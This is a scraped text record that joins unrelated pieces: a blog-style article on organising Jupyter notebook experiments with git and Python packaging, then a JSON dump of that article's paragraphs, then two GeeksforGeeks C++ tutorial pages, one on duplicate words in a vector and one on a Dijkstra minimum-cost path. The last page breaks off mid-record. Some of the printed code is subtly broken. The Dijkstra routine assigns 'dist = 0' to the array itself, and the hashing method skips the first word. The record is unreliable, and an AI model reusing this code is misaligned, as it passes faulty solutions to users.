This is different from version control in that I keep all the records of my work in place, not only the latest version of it. Moreover, I put all the experiments in the same folder regardless of the project they are assigned to.
Although this creates a huge pile of files, you can easily keep the relevant ones on top through sorting by the date modified. Centralization makes it easy to find specific files by simple search, rather than walking through a hierarchy of folders you don’t remember the logic of.
The greatest advantage of keeping things together is that you can implement cross referencing within and between notebooks. This is simply done with html links in Markdown.
To create a reference to a section of your Notebook, add the following code in a Markdown cell before the referenced part:
<a id='label_of_your_choice'></a><!--referenced section in file experiment00.ipynb-->
Now, in the place where you want your link to the reference to appear write one of the following:
[description](#label_of_your_choice) <!--to make link in the same notebook-->[description](experiment00.ipynb#label_of_your_choice) <!--to make link in another notebook-->
For example, [previous experiment](experiment00.ipynb#label_of_your_choice) produces the link:
Now you can jump straight to the referenced section in the old experiment with one click.
Reports should be nothing else but summaries of the best versions of your experiments and accompanying comments. Fast lookup through your records is key to reportability of your work and it is a matter of clicking your way through notebooks if the cross references are set in place.
Sometimes you need to save some data results, either for reporting, sharing or use in other experiments. The file format is up to you and the situation. For this cases I save the data in a data folder within the experiments folder and name them with something that makes clear the experiment they originated from and the version number of that experiment.
To make things tractable I keep a log in a spreadsheet where I list the data inputs and outputs of all my experiments.
You are probably familiar with writing functions within a script to make the code neat, enhance understanding and most importantly to DRY (Don’t Repeat Yourself). As the experiments evolve, so do your functions, encapsulating more and more logic and other functions within them.
If you followed my approach this far, you started separating your experiments into multiple notebook files, one for each experiment and version of it. When the baggage (of functions) you carry on from one experiment to another grows considerably, it is time for you to start thinking about the reusability of your code. Wouldn’t it be nice if you could just import the functions that passed the test of time smoothly into your code as you do with any other Python library?
You should simply start by saving functions within .py files together with your experiments. You can edit those files in your favourite IDE (I use VS Code). Then you can just use import statements on the file names to get all that functionality back into your experiments:
# if you save the experiment_with() function in the# experiment_functions.py file in the same folder as # your experiment, you can import it into your codefrom experiment_functions import experiment_with
As your functions become more complex and flexible, they will need a lot of inputs which become hard to manage. Luckily Python facilitates setting up default values of function arguments. Having defaults speeds up the experimentation process considerably, hiding away unnecessary complexity. It also helps someone new to your functions get started with them right away.
Sometimes you will come across situations where the default needs to be defined as a function of other parameters. In this case, the strategy I use is to set the default to None and immediately check in the body of the function whether the argument to be set was defined at call. If it was not, then I assign a value to it accordingly. See the example below.
When functions become so large that they encapsulate entire algorithms with lots of parameters to tune, the simple interface of a function might not be enough. In this situation, I prefer the flexibility of the object oriented approach.
With algorithms wrapped as objects you can change parameters on the go by defining them as attributes of the class. You can set up very specific configurations and only make tiny adjustments to the algorithm as needed.
Classes can also be used to build data structures specific to your application and encapsulate the functionality associated with them. There is a whole science of design patterns using OOP.
Now that your reusable functions are in modules separate from the experiments code, keeping things tractable and reproducible might become challenging. You will probably want to modify the reusable bits of your code to make them better in time.
This is the moment where reproducibility and reusability come into conflict. If you want to reproduce your two year old experiment using your super evolved algorithm you might end up with totally different results. Therefore, you want to keep the exact version of the modules you used in experiments together with the notebook files in which you used them (unless you want to cover up some stupid thing you’ve done in the past). If you save a numbered file for each modification you make and keep that along with the experiments for the record, things get really entangled.
Enter Version Control. Software Engineers make things reproducible by versioning and using environments to keep things compatible with one another. Exactly the same idea can be applied to our experiments. You can start version controlling your functions and classes as you improve them, and at the same time maintain a reference to the corresponding versions in the experiment files.
This is how I do it. I sort out those .py files into project folders named <project>_func, within which I set up repositories and start version controlling with git. If you didn’t use git before, go on and find a git tutorial, then come back.
Whenever I create a new experiment file, I make sure I’ve committed the code version I am using and write the following lines in a cell at the top of the experiment file:
%%bash cd <project>_func # move inside the directory where you have the # repository you needgit checkout <git commit id> # restore the version of the code # you will use
Then in the experiment, I import my functions as needed. For example, let’s say I moved to France recently and now I write all my reports in French. Importing and running the latest version of this function
from magic_func.magic import do_some_magicdo_some_magic()
prints:
Salut Le Monde!
The problem is that I have an old experiment script that generated a report in English, and I would like to rerun it. Luckily, I referenced the commit id at the top of the experiment notebook as shown earlier:
%%bashcd magic_funcgit checkout cff052f7c36bb09ccc101d9ce3652dce87f2acbc
The output of the same code from above within this context is:
Hello World!
Voilà! The magic of Version Control and well written records.
Eventually, you will want to pack the .py files together in proper Python packages. Then you will be able to share them with other people and install them in the environments of the Ipython kernels you use in experiment notebooks.
You can follow the official Python Packaging guide to learn how to package code and this tutorial to upload it on PyPi. To use a specific version of your package in Jupyter Notebook, I recommend you to install it in a conda environment. Then you can run the Jupyter kernel in that environment if you follow the installation instructions of the nb_conda_kernels extension.
As you add functionality to your package, you can adopt the test-driven development philosophy. It states that you should write unit tests before you write the bit of code which they test. In this way you can make the task you want to achieve from your package concrete.
You probably play around with your modules in the experiment files already. You can design tests in your Notebooks and just paste their code into the formal structure of unit tests. For my packages, I use the pytest framework.
When you reach this point, you are no longer just an experimentalist. You are also a developer and you need to share, maintain and improve the tools you created. Have fun coding!
|
[
{
"code": null,
"e": 621,
"s": 172,
"text": "If you work in computational research or data science and you don’t come from a Computer Science background, you probably generated amazing pieces of scientific knowledge, but the code you wrote to do it prevents you from indulging in academic glory. You might need a week yourself to make your scripts do the same things again. Even if you are an experienced coder, you might find it hard to do both the job of a developer and that of a scientist."
},
{
"code": null,
"e": 1007,
"s": 621,
"text": "I have faced this challenge myself as a research student. Although I took classes in Software Engineering, I found it hard to divert from the research questions I was handed to think about how I can create useful tools out of my code. After some trial and error, I designed a recipe to help me make the transition seamlessly and now I use it in my exploratory work as a Data Scientist."
},
{
"code": null,
"e": 1220,
"s": 1007,
"text": "In this article, I share the way I organize my coding workflow, give you some tips and tricks and show you the tool stack I use. The goal is to make the transition from experimentation to tool development easier."
},
{
"code": null,
"e": 1396,
"s": 1220,
"text": "For research to be reproducible, you need to log all the stuff you are doing. This might be a burden if you just want to experiment as fast as possible and do ad-hoc analysis."
},
{
"code": null,
"e": 1755,
"s": 1396,
"text": "The tool I use for experimentation is Jupyter Notebook. The interactive programming interface allows you to check what your code does instantaneously, so you can build algorithms step by step. Moreover, you can use Markdown cells to write down your thinking and conclusions, along with the code. This makes it really easy to log and report everything you do."
},
{
"code": null,
"e": 1970,
"s": 1755,
"text": "You can find plenty of Jupyter tutorials on the web. I recommend getting familiar with the Keyboard Shortcuts (they are described under the Help menu of the editor), as they will accelerate your work significantly."
},
{
"code": null,
"e": 2145,
"s": 1970,
"text": "In digital experiments, looping through experimental variables is really simple. After all, the power of computers comes from their capacity to do things over and over again."
},
{
"code": null,
"e": 2202,
"s": 2145,
"text": "I structure the formal experiments as in the code below."
},
{
"code": null,
"e": 2320,
"s": 2202,
"text": "I keep all the important variables for the current experiment in lists at the beginning of the file for transparency."
},
{
"code": null,
"e": 2536,
"s": 2320,
"text": "A thing to consider here is what to do with the output of each iteration: should you process it into a visualization, compute a metric or store it? The application and desired form of reporting dictates this choice."
},
{
"code": null,
"e": 2814,
"s": 2536,
"text": "A Notebook file should be created for each significant piece of experimentation, and it is up to you to decide what that means. I save an experiment with a relevant title and a versioning number for each time I repeat it using different parameters or a new way of doing things."
},
{
"code": null,
"e": 3043,
"s": 2814,
"text": "This is different from version control in that I keep all the records of my work in place, not only the latest version of it. Moreover, I put all the experiments in the same folder regardless of the project they are assigned to."
},
{
"code": null,
"e": 3324,
"s": 3043,
"text": "Although this creates a huge pile of files, you can easily keep the relevant ones on top through sorting by the date modified. Centralization makes it easy to find specific files by simple search, rather than walking through a hierarchy of folders you don’t remember the logic of."
},
{
"code": null,
"e": 3497,
"s": 3324,
"text": "The greatest advantage of keeping things together is that you can implement cross referencing within and between notebooks. This is simply done with html links in Markdown."
},
{
"code": null,
"e": 3620,
"s": 3497,
"text": "To create a reference to a section of your Notebook, add the following code in a Markdown cell before the referenced part:"
},
{
"code": null,
"e": 3706,
"s": 3620,
"text": "<a id='label_of_your_choice'></a><!--referenced section in file experiment00.ipynb-->"
},
{
"code": null,
"e": 3804,
"s": 3706,
"text": "Now, in the place where you want your link to the reference to appear write one of the following:"
},
{
"code": null,
"e": 3976,
"s": 3804,
"text": "[description](#label_of_your_choice) <!--to make link in the same notebook-->[description](experiment00.ipynb#label_of_your_choice) <!--to make link in another notebook-->"
},
{
"code": null,
"e": 4071,
"s": 3976,
"text": "For example, [previous experiment](experiment00.ipynb#label_of_your_choice) produces the link:"
},
{
"code": null,
"e": 4161,
"s": 4071,
"text": "Now you can jump straight to the referenced section in the old experiment with one click."
},
{
"code": null,
"e": 4444,
"s": 4161,
"text": "Reports should be nothing else but summaries of the best versions of your experiments and accompanying comments. Fast lookup through your records is key to reportability of your work and it is a matter of clicking your way through notebooks if the cross references are set in place."
},
{
"code": null,
"e": 4800,
"s": 4444,
"text": "Sometimes you need to save some data results, either for reporting, sharing or use in other experiments. The file format is up to you and the situation. For this cases I save the data in a data folder within the experiments folder and name them with something that makes clear the experiment they originated from and the version number of that experiment."
},
{
"code": null,
"e": 4919,
"s": 4800,
"text": "To make things tractable I keep a log in a spreadsheet where I list the data inputs and outputs of all my experiments."
},
{
"code": null,
"e": 5198,
"s": 4919,
"text": "You are probably familiar with writing functions within a script to make the code neat, enhance understanding and most importantly to DRY (Don’t Repeat Yourself). As the experiments evolve, so do your functions, encapsulating more and more logic and other functions within them."
},
{
"code": null,
"e": 5671,
"s": 5198,
"text": "If you followed my approach this far, you started separating your experiments into multiple notebook files, one for each experiment and version of it. When the baggage (of functions) you carry on from one experiment to another grows considerably, it is time for you to start thinking about the reusability of your code. Wouldn’t it be nice if you could just import the functions that passed the test of time smoothly into your code as you do with any other Python library?"
},
{
"code": null,
"e": 5944,
"s": 5671,
"text": "You should simply start by saving functions within .py files together with your experiments. You can edit those files in your favourite IDE (I use VS Code). Then you can just use import statements on the file names to get all that functionality back into your experiments:"
},
{
"code": null,
"e": 6148,
"s": 5944,
"text": "# if you save the experiment_with() function in the# experiment_functions.py file in the same folder as # your experiment, you can import it into your codefrom experiment_functions import experiment_with"
},
{
"code": null,
"e": 6518,
"s": 6148,
"text": "As your functions become more complex and flexible, they will need a lot of inputs which become hard to manage. Luckily Python facilitates setting up default values of function arguments. Having defaults speeds up the experimentation process considerably, hiding away unnecessary complexity. It also helps someone new to your functions get started with them right away."
},
{
"code": null,
"e": 6877,
"s": 6518,
"text": "Sometimes you will come across situations where the default needs to be defined as a function of other parameters. In this case, the strategy I use is to set the default to None and immediately check in the body of the function whether the argument to be set was defined at call. If it was not, then I assign a value to it accordingly. See the example below."
},
{
"code": null,
"e": 7114,
"s": 6877,
"text": "When functions become so large that they encapsulate entire algorithms with lots of parameters to tune, the simple interface of a function might not be enough. In this situation, I prefer the flexibility of the object oriented approach."
},
{
"code": null,
"e": 7333,
"s": 7114,
"text": "With algorithms wrapped as objects you can change parameters on the go by defining them as attributes of the class. You can set up very specific configurations and only make tiny adjustments to the algorithm as needed."
},
{
"code": null,
"e": 7523,
"s": 7333,
"text": "Classes can also be used to build data structures specific to your application and encapsulate the functionality associated with them. There is a whole science of design patterns using OOP."
},
{
"code": null,
"e": 7768,
"s": 7523,
"text": "Now that your reusable functions are in modules separate from the experiments code, keeping things tractable and reproducible might become challenging. You will probably want to modify the reusable bits of your code to make them better in time."
},
{
"code": null,
"e": 8342,
"s": 7768,
"text": "This is the moment where reproducibility and reusability come into conflict. If you want to reproduce your two year old experiment using your super evolved algorithm you might end up with totally different results. Therefore, you want to keep the exact version of the modules you used in experiments together with the notebook files in which you used them (unless you want to cover up some stupid thing you’ve done in the past). If you save a numbered file for each modification you make and keep that along with the experiments for the record, things get really entangled."
},
{
"code": null,
"e": 8726,
"s": 8342,
"text": "Enter Version Control. Software Engineers make things reproducible by versioning and using environments to keep things compatible with one another. Exactly the same idea can be applied to our experiments. You can start version controlling your functions and classes as you improve them, and at the same time maintain a reference to the corresponding versions in the experiment files."
},
{
"code": null,
"e": 8969,
"s": 8726,
"text": "This is how I do it. I sort out those .py files into project folders named <project>_func, within which I set up repositories and start version controlling with git. If you didn’t use git before, go on and find a git tutorial, then come back."
},
{
"code": null,
"e": 9140,
"s": 8969,
"text": "Whenever I create a new experiment file, I make sure I’ve committed the code version I am using and write the following lines in a cell at the top of the experiment file:"
},
{
"code": null,
"e": 9365,
"s": 9140,
"text": "%%bash cd <project>_func # move inside the directory where you have the # repository you needgit checkout <git commit id> # restore the version of the code # you will use"
},
{
"code": null,
"e": 9572,
"s": 9365,
"text": "Then in the experiment, I import my functions as needed. For example, let’s say I moved to France recently and now I write all my reports in French. Importing and running the latest version of this function"
},
{
"code": null,
"e": 9630,
"s": 9572,
"text": "from magic_func.magic import do_some_magicdo_some_magic()"
},
{
"code": null,
"e": 9638,
"s": 9630,
"text": "prints:"
},
{
"code": null,
"e": 9654,
"s": 9638,
"text": "Salut Le Monde!"
},
{
"code": null,
"e": 9864,
"s": 9654,
"text": "The problem is that I have an old experiment script that generated a report in English, and I would like to rerun it. Luckily, I referenced the commit id at the top of the experiment notebook as shown earlier:"
},
{
"code": null,
"e": 9937,
"s": 9864,
"text": "%%bashcd magic_funcgit checkout cff052f7c36bb09ccc101d9ce3652dce87f2acbc"
},
{
"code": null,
"e": 10000,
"s": 9937,
"text": "The output of the same code from above within this context is:"
},
{
"code": null,
"e": 10013,
"s": 10000,
"text": "Hello World!"
},
{
"code": null,
"e": 10076,
"s": 10013,
"text": "Voilà! The magic of Version Control and well written records."
},
{
"code": null,
"e": 10307,
"s": 10076,
"text": "Eventually, you will want to pack the .py files together in proper Python packages. Then you will be able to share them with other people and install them in the environments of the Ipython kernels you use in experiment notebooks."
},
{
"code": null,
"e": 10679,
"s": 10307,
"text": "You can follow the official Python Packaging guide to learn how to package code and this tutorial to upload it on PyPi. To use a specific version of your package in Jupyter Notebook, I recommend you to install it in a conda environment. Then you can run the Jupyter kernel in that environment if you follow the installation instructions of the nb_conda_kernels extension."
},
{
"code": null,
"e": 10950,
"s": 10679,
"text": "As you add functionality to your package, you can adopt the test-driven development philosophy. It states that you should write unit tests before you write the bit of code which they test. In this way you can make the task you want to achieve from your package concrete."
},
{
"code": null,
"e": 11177,
"s": 10950,
"text": "You probably play around with your modules in the experiment files already. You can design tests in your Notebooks and just paste their code into the formal structure of unit tests. For my packages, I use the pytest framework."
}
] |
Find and print duplicate words in std::vector<string> using STL functions - GeeksforGeeks
|
25 Nov, 2020
Consider an array of string and find duplicate words in that array and print that duplicate words if exist.Examples:
Input : { "welcome", "to", "geeks", "for", "geeks" }
Output : geeks
Input : { "reduce", "reuse", "recycle", "reduce",
"reuse", "recycle", " recycle" }
Output : recycle
reduce
reuse
Input : { "Go", "Green" }
Output : No Duplicate words
Method 1 (Using Sorting) 1. Sort array of string. 2. compare adjacent word in array of string. 3. if two word are same then push that word in another vector string. 4. print the duplicate words if exist.
CPP
// CPP program to find duplicate word in a// vector<string>#include <bits/stdc++.h>using namespace std; void printDuplicates(vector<string> words){ vector<string> duplicate; // STL function to sort the array of string sort(words.begin(), words.end()); for (int i = 1; i < words.size(); i++) { if (words[i - 1] == words[i]) { // STL function to push the duplicate // words in a new vector string if (duplicate.empty()) duplicate.push_back(words[i]); else if (words[i] != duplicate.back()) duplicate.push_back(words[i]); } } if (duplicate.size() == 0) cout << "No Duplicate words" << endl; else for (int i = 0; i < duplicate.size(); i++) cout << duplicate[i] << endl;} // Driver codeint main(){ vector<string> words{ "welcome", "to", "geeks", "for", "geeks", "to", "geeks" }; printDuplicates(words); return 0;}
geeks
to
Method 2 (Using Hashing) 1. Create an empty hash table. 2. One by one traverse words. 3. For every word check if already exists in the hash. ........if (already exists in hash) .............Print the word ........Else .............Insert the word in hash.
CPP
// CPP program to find duplicate word in a// vector<string>#include<bits/stdc++.h>using namespace std; void printDuplicates(vector<string> words){ unordered_set<string> s; bool dupFound = false; for (int i = 1; i<words.size(); i++) { if (s.find(words[i]) != s.end()) { cout << words[i] << endl; dupFound = true; } else s.insert(words[i]); } if (dupFound == false) cout << "No Duplicate words" << endl;} // Driver codeint main(){ vector<string>words{ "welcome", "to", "geeks", "for", "geeks" }; printDuplicates(words); return 0;}
Output:
geeks
This article is contributed by Rishabh Jain. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
kbharati
STL
C++
STL
CPP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Operator Overloading in C++
Polymorphism in C++
Sorting a vector in C++
Friend class and function in C++
std::string class in C++
Pair in C++ Standard Template Library (STL)
Queue in C++ Standard Template Library (STL)
Inline Functions in C++
Array of Strings in C++ (5 Different Ways to Create)
Convert string to char array in C++
|
[
{
"code": null,
"e": 25367,
"s": 25339,
"text": "\n25 Nov, 2020"
},
{
"code": null,
"e": 25486,
"s": 25367,
"text": "Consider an array of string and find duplicate words in that array and print that duplicate words if exist.Examples: "
},
{
"code": null,
"e": 25734,
"s": 25486,
"text": "Input : { \"welcome\", \"to\", \"geeks\", \"for\", \"geeks\" }\nOutput : geeks\n\nInput : { \"reduce\", \"reuse\", \"recycle\", \"reduce\", \n \"reuse\", \"recycle\", \" recycle\" }\nOutput : recycle\nreduce\nreuse\n\nInput : { \"Go\", \"Green\" }\nOutput : No Duplicate words"
},
{
"code": null,
"e": 25941,
"s": 25736,
"text": "Method 1 (Using Sorting) 1. Sort array of string. 2. compare adjacent word in array of string. 3. if two word are same then push that word in another vector string. 4. print the duplicate words if exist. "
},
{
"code": null,
"e": 25945,
"s": 25941,
"text": "CPP"
},
{
"code": "// CPP program to find duplicate word in a// vector<string>#include <bits/stdc++.h>using namespace std; void printDuplicates(vector<string> words){ vector<string> duplicate; // STL function to sort the array of string sort(words.begin(), words.end()); for (int i = 1; i < words.size(); i++) { if (words[i - 1] == words[i]) { // STL function to push the duplicate // words in a new vector string if (duplicate.empty()) duplicate.push_back(words[i]); else if (words[i] != duplicate.back()) duplicate.push_back(words[i]); } } if (duplicate.size() == 0) cout << \"No Duplicate words\" << endl; else for (int i = 0; i < duplicate.size(); i++) cout << duplicate[i] << endl;} // Driver codeint main(){ vector<string> words{ \"welcome\", \"to\", \"geeks\", \"for\", \"geeks\", \"to\", \"geeks\" }; printDuplicates(words); return 0;}",
"e": 26926,
"s": 25945,
"text": null
},
{
"code": null,
"e": 26936,
"s": 26926,
"text": "geeks\nto\n"
},
{
"code": null,
"e": 27194,
"s": 26936,
"text": " Method 2 (Using Hashing) 1. Create an empty hash table. 2. One by one traverse words. 3. For every word check if already exists in the hash. ........if (already exists in hash) .............Print the word ........Else .............Insert the word in hash. "
},
{
"code": null,
"e": 27198,
"s": 27194,
"text": "CPP"
},
{
"code": "// CPP program to find duplicate word in a// vector<string>#include<bits/stdc++.h>using namespace std; void printDuplicates(vector<string> words){ unordered_set<string> s; bool dupFound = false; for (int i = 1; i<words.size(); i++) { if (s.find(words[i]) != s.end()) { cout << words[i] << endl; dupFound = true; } else s.insert(words[i]); } if (dupFound == false) cout << \"No Duplicate words\" << endl;} // Driver codeint main(){ vector<string>words{ \"welcome\", \"to\", \"geeks\", \"for\", \"geeks\" }; printDuplicates(words); return 0;}",
"e": 27857,
"s": 27198,
"text": null
},
{
"code": null,
"e": 27867,
"s": 27857,
"text": "Output: "
},
{
"code": null,
"e": 27873,
"s": 27867,
"text": "geeks"
},
{
"code": null,
"e": 28298,
"s": 27873,
"text": "This article is contributed by Rishabh Jain. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to [email protected]. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. "
},
{
"code": null,
"e": 28307,
"s": 28298,
"text": "kbharati"
},
{
"code": null,
"e": 28311,
"s": 28307,
"text": "STL"
},
{
"code": null,
"e": 28315,
"s": 28311,
"text": "C++"
},
{
"code": null,
"e": 28319,
"s": 28315,
"text": "STL"
},
{
"code": null,
"e": 28323,
"s": 28319,
"text": "CPP"
},
{
"code": null,
"e": 28421,
"s": 28323,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 28449,
"s": 28421,
"text": "Operator Overloading in C++"
},
{
"code": null,
"e": 28469,
"s": 28449,
"text": "Polymorphism in C++"
},
{
"code": null,
"e": 28493,
"s": 28469,
"text": "Sorting a vector in C++"
},
{
"code": null,
"e": 28526,
"s": 28493,
"text": "Friend class and function in C++"
},
{
"code": null,
"e": 28551,
"s": 28526,
"text": "std::string class in C++"
},
{
"code": null,
"e": 28595,
"s": 28551,
"text": "Pair in C++ Standard Template Library (STL)"
},
{
"code": null,
"e": 28640,
"s": 28595,
"text": "Queue in C++ Standard Template Library (STL)"
},
{
"code": null,
"e": 28664,
"s": 28640,
"text": "Inline Functions in C++"
},
{
"code": null,
"e": 28717,
"s": 28664,
"text": "Array of Strings in C++ (5 Different Ways to Create)"
}
] |
Minimum cost path from source node to destination node via an intermediate node - GeeksforGeeks
|
13 Jan, 2022
Given an undirected weighted graph. The task is to find the minimum cost of the path from source node to the destination node via an intermediate node. Note: If an edge is traveled twice, only once weight is calculated as cost.
Examples:
Input: source = 0, destination = 2, intermediate = 3; Output: 6 The minimum cost path 0->1->3->1->2 The edge (1-3) occurs twice in the path, but its weight is added only once to the answer.Input: source = 0, destination = 2, intermediate = 1; Output: 3 The minimum cost path is 0->1>2
Approach: Let suppose take a path P1 from Source to intermediate, and a path P2 from intermediate to destination. There can be some common edges among these 2 paths. Hence, the optimal path will always have the following form: for any node U, the walk consists of edges on the shortest path from Source to U, from intermediate to U, and from destination to U. Hence, if dist(a, b) is the cost of shortest path between node a and b, the required minimum cost path will be min{ dist(Source, U) + dist(intermediate, U) + dist(destination, U) } for all U. The Minimum distance of all nodes from Source, intermediate, and destination can be found by doing Dijkstra’s Shortest Path algorithm from these 3 nodes. Below is the implementation of the above approach.
CPP
// CPP program to find minimum distance between// source and destination node and visiting// of intermediate node is compulsory#include <bits/stdc++.h>using namespace std;#define MAXN 100005 // to store mapped values of graphvector<pair<int, int> > v[MAXN]; // to store distance of// all nodes from the source nodeint dist[MAXN]; // Dijkstra's algorithm to find// shortest path from source to nodevoid dijkstra(int source, int n){ // set all the vertices // distances as infinity for (int i = 0; i < n; i++) dist[i] = INT_MAX; // set all vertex as unvisited bool vis[n]; memset(vis, false, sizeof vis); // make distance from source // vertex to source vertex is zero dist = 0; // // multiset do the job // as a min-priority queue multiset<pair<int, int> > s; // insert the source node with distance = 0 s.insert({ 0, source }); while (!s.empty()) { pair<int, int> p = *s.begin(); // pop the vertex with the minimum distance s.erase(s.begin()); int x = p.second; int wei = p.first; // check if the popped vertex // is visited before if (vis[x]) continue; vis[x] = true; for (int i = 0; i < v[x].size(); i++) { int e = v[x][i].first; int w = v[x][i].second; // check if the next vertex // distance could be minimized if (dist[x] + w < dist[e]) { dist[e] = dist[x] + w; // insert the next vertex // with the updated distance s.insert({ dist[e], e }); } } }} // function to add edges in graphvoid add_edge(int s, int t, int weight){ v[s].push_back({ t, weight }); v[t].push_back({ s, weight });} // function to find the minimum shortest pathint solve(int source, int destination, int intermediate, int n){ int ans = INT_MAX; dijkstra(source, n); // store distance from source to // all other vertices int dsource[n]; for (int i = 0; i < n; i++) dsource[i] = dist[i]; dijkstra(destination, n); // store distance from destination // to all other vertices int ddestination[n]; for (int i = 0; i < n; i++) ddestination[i] = dist[i]; dijkstra(intermediate, n); // store distance from intermediate // to all other vertices int dintermediate[n]; for (int i = 0; i < n; i++) dintermediate[i] = dist[i]; // find required answer for (int i = 0; i < n; i++) ans = min(ans, dsource[i] + ddestination[i] + dintermediate[i]); return ans;} // Driver codeint main(){ int n = 4; int source = 0, destination = 2, intermediate = 3; // add edges in graph add_edge(0, 1, 1); add_edge(1, 2, 2); add_edge(1, 3, 3); // function call for minimum shortest path cout << solve(source, destination, intermediate, n); return 0;}
6
Time complexity: O((N + M) * logN), where N is number of nodes, M is number of edges. Auxiliary Space: O(N+M)
surinderdawra388
nickzuck_007
adnanirshad158
cpp-multiset
cpp-vector
Dijkstra
Greedy Algorithms
Competitive Programming
Graph
Graph
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Prefix Sum Array - Implementation and Applications in Competitive Programming
Ordered Set and GNU C++ PBDS
Modulo 10^9+7 (1000000007)
Bits manipulation (Important tactics)
7 Best Coding Challenge Websites in 2020
Breadth First Search or BFS for a Graph
Graph and its representations
Topological Sorting
Bellman–Ford Algorithm | DP-23
Detect Cycle in a Directed Graph
|
[
{
"code": null,
"e": 26821,
"s": 26793,
"text": "\n13 Jan, 2022"
},
{
"code": null,
"e": 27051,
"s": 26821,
"text": "Given an undirected weighted graph. The task is to find the minimum cost of the path from source node to the destination node via an intermediate node. Note: If an edge is traveled twice, only once weight is calculated as cost. "
},
{
"code": null,
"e": 27063,
"s": 27051,
"text": "Examples: "
},
{
"code": null,
"e": 27350,
"s": 27063,
"text": "Input: source = 0, destination = 2, intermediate = 3; Output: 6 The minimum cost path 0->1->3->1->2 The edge (1-3) occurs twice in the path, but its weight is added only once to the answer.Input: source = 0, destination = 2, intermediate = 1; Output: 3 The minimum cost path is 0->1>2 "
},
{
"code": null,
"e": 28111,
"s": 27352,
"text": "Approach: Let suppose take a path P1 from Source to intermediate, and a path P2 from intermediate to destination. There can be some common edges among these 2 paths. Hence, the optimal path will always have the following form: for any node U, the walk consists of edges on the shortest path from Source to U, from intermediate to U, and from destination to U. Hence, if dist(a, b) is the cost of shortest path between node a and b, the required minimum cost path will be min{ dist(Source, U) + dist(intermediate, U) + dist(destination, U) } for all U. The Minimum distance of all nodes from Source, intermediate, and destination can be found by doing Dijkstra’s Shortest Path algorithm from these 3 nodes. Below is the implementation of the above approach. "
},
{
"code": null,
"e": 28115,
"s": 28111,
"text": "CPP"
},
{
"code": "// CPP program to find minimum distance between// source and destination node and visiting// of intermediate node is compulsory#include <bits/stdc++.h>using namespace std;#define MAXN 100005 // to store mapped values of graphvector<pair<int, int> > v[MAXN]; // to store distance of// all nodes from the source nodeint dist[MAXN]; // Dijkstra's algorithm to find// shortest path from source to nodevoid dijkstra(int source, int n){ // set all the vertices // distances as infinity for (int i = 0; i < n; i++) dist[i] = INT_MAX; // set all vertex as unvisited bool vis[n]; memset(vis, false, sizeof vis); // make distance from source // vertex to source vertex is zero dist = 0; // // multiset do the job // as a min-priority queue multiset<pair<int, int> > s; // insert the source node with distance = 0 s.insert({ 0, source }); while (!s.empty()) { pair<int, int> p = *s.begin(); // pop the vertex with the minimum distance s.erase(s.begin()); int x = p.second; int wei = p.first; // check if the popped vertex // is visited before if (vis[x]) continue; vis[x] = true; for (int i = 0; i < v[x].size(); i++) { int e = v[x][i].first; int w = v[x][i].second; // check if the next vertex // distance could be minimized if (dist[x] + w < dist[e]) { dist[e] = dist[x] + w; // insert the next vertex // with the updated distance s.insert({ dist[e], e }); } } }} // function to add edges in graphvoid add_edge(int s, int t, int weight){ v[s].push_back({ t, weight }); v[t].push_back({ s, weight });} // function to find the minimum shortest pathint solve(int source, int destination, int intermediate, int n){ int ans = INT_MAX; dijkstra(source, n); // store distance from source to // all other vertices int dsource[n]; for (int i = 0; i < n; i++) dsource[i] = dist[i]; dijkstra(destination, n); // store distance from destination // to all other vertices int ddestination[n]; for (int i = 0; i < n; i++) ddestination[i] = dist[i]; dijkstra(intermediate, n); // store distance from intermediate // to all other vertices int dintermediate[n]; for (int i = 0; i < n; i++) dintermediate[i] = dist[i]; // find required answer for (int i = 0; i < n; i++) ans = min(ans, dsource[i] + ddestination[i] + dintermediate[i]); return ans;} // Driver codeint main(){ int n = 4; int source = 0, destination = 2, intermediate = 3; // add edges in graph add_edge(0, 1, 1); add_edge(1, 2, 2); add_edge(1, 3, 3); // function call for minimum shortest path cout << solve(source, destination, intermediate, n); return 0;}",
"e": 31066,
"s": 28115,
"text": null
},
{
"code": null,
"e": 31068,
"s": 31066,
"text": "6"
},
{
"code": null,
"e": 31181,
"s": 31070,
"text": "Time complexity: O((N + M) * logN), where N is number of nodes, M is number of edges. Auxiliary Space: O(N+M) "
},
{
"code": null,
"e": 31198,
"s": 31181,
"text": "surinderdawra388"
},
{
"code": null,
"e": 31211,
"s": 31198,
"text": "nickzuck_007"
},
{
"code": null,
"e": 31226,
"s": 31211,
"text": "adnanirshad158"
},
{
"code": null,
"e": 31239,
"s": 31226,
"text": "cpp-multiset"
},
{
"code": null,
"e": 31250,
"s": 31239,
"text": "cpp-vector"
},
{
"code": null,
"e": 31259,
"s": 31250,
"text": "Dijkstra"
},
{
"code": null,
"e": 31277,
"s": 31259,
"text": "Greedy Algorithms"
},
{
"code": null,
"e": 31301,
"s": 31277,
"text": "Competitive Programming"
},
{
"code": null,
"e": 31307,
"s": 31301,
"text": "Graph"
},
{
"code": null,
"e": 31313,
"s": 31307,
"text": "Graph"
},
{
"code": null,
"e": 31411,
"s": 31313,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 31489,
"s": 31411,
"text": "Prefix Sum Array - Implementation and Applications in Competitive Programming"
},
{
"code": null,
"e": 31518,
"s": 31489,
"text": "Ordered Set and GNU C++ PBDS"
},
{
"code": null,
"e": 31545,
"s": 31518,
"text": "Modulo 10^9+7 (1000000007)"
},
{
"code": null,
"e": 31583,
"s": 31545,
"text": "Bits manipulation (Important tactics)"
},
{
"code": null,
"e": 31624,
"s": 31583,
"text": "7 Best Coding Challenge Websites in 2020"
},
{
"code": null,
"e": 31664,
"s": 31624,
"text": "Breadth First Search or BFS for a Graph"
},
{
"code": null,
"e": 31694,
"s": 31664,
"text": "Graph and its representations"
},
{
"code": null,
"e": 31714,
"s": 31694,
"text": "Topological Sorting"
},
{
"code": null,
"e": 31745,
"s": 31714,
